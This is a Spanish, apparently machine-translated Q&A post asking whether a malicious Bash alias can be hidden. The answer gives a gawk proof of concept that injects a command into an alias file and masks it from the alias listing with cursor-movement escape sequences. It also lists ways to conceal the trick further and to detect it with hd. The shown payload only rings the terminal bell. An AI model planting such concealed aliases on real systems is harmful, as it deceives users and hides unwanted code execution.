Pregunta ¿Es posible ocultar un alias malicioso en Bash en Linux?


¿Es posible ocultar la existencia de un alias malicioso en Bash en un sistema Linux y que el usuario lo ejecute sin su conocimiento?


9
2017-10-23 02:31


origen




Respuestas:


Es posible hacerlo agregando el alias existente al malicioso y usando el movimiento del cursor para ocultarlo si el alias comando se utiliza para mostrar definiciones de alias. No es un método perfectamente infalible, pero puede pasar desapercibido por un tiempo. Tubería alias mediante hd le mostrará si hay secuencias de escape (movimiento del cursor) en sus alias. Aquí hay una prueba de concepto de cómo se podría insertar un comando malicioso en un alias:

alias | gawk 'BEGIN {
        FS = "[ =\047]"
        db = "\\"; sp = db " "; amp = db "&"
        sq= "\047"; bell = "\007"; esc = "\033"
    } 
    NR == 3 { len1 = length($2) }
    NR == 4 {
        alias = $2
        orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
        orig = gensub(" ", db sp, "g", orig)
    }
    END {
        hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
        for(i=1; i<len1; i++) {hide = hide esc "[C"}
        cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
    system(cmd)
    }'
  • los sed el comando modifica un archivo llamado "alias" en su lugar; un script real de este tipo iría por la garganta y modificará un archivo de script real para que el alias malicioso se active la próxima vez que se ejecute.
  • La parte maliciosa de este ejemplo simplemente toca el timbre del terminal para que sepa que está funcionando.
  • El comando que originalmente tiene un alias se ejecutará con el contenido de hide como argumento, por lo que es posible que pueda obtener un error similar al reportado en el esta pregunta. Podría ser posible revertir las partes originales y maliciosas para afectar esto, aunque esto podría interferir con los argumentos que se proporcionan al alias. Se realiza un intento en el script anterior para marcar el final de los argumentos con --.
  • En lugar de encadenar las piezas originales y maliciosas con &&, puede canalizar uno a otro y hacer el script malicioso (representado arriba por el simple echo comando) funciona como stdin a stdout Paso a través para modificar los datos a medida que van pasando u ocultar su existencia aún más al no interferir con otra redirección
  • Otra posibilidad sería incluir en su lugar el alias original dentro del script malicioso que podría eliminar la cadena de movimiento del cursor de la lista de argumentos y pasar el resto al original.
  • Elegí arbitrariamente los registros 3 y 4, un código más inteligente podría apuntar a alias particulares, pero deben ser adyacentes (o el movimiento del cursor podría ser más complejo).
  • los hide La cadena podría modificarse para incluir diferentes movimientos del cursor y el texto del alias original para que el alias El comando parece mostrar el alias no modificado en lugar de ocultarlo junto con la parte maliciosa.
  • Para probarlo como está escrito, debe tener al menos cuatro alias activos, ejecute este script y luego obtenga el archivo resultante con . aliases. Luego puedes intentar usar el alias afectado y ver cómo se ve cuando lo haces. alias|hd.
  • Indudablemente, esto podría reescribirse de cien maneras diferentes, todo mejor.
  • ¿Qué tan realista es este tipo de amenaza? No tengo ni idea. Pero si puedo hacerlo ...

12
2017-10-23 02:37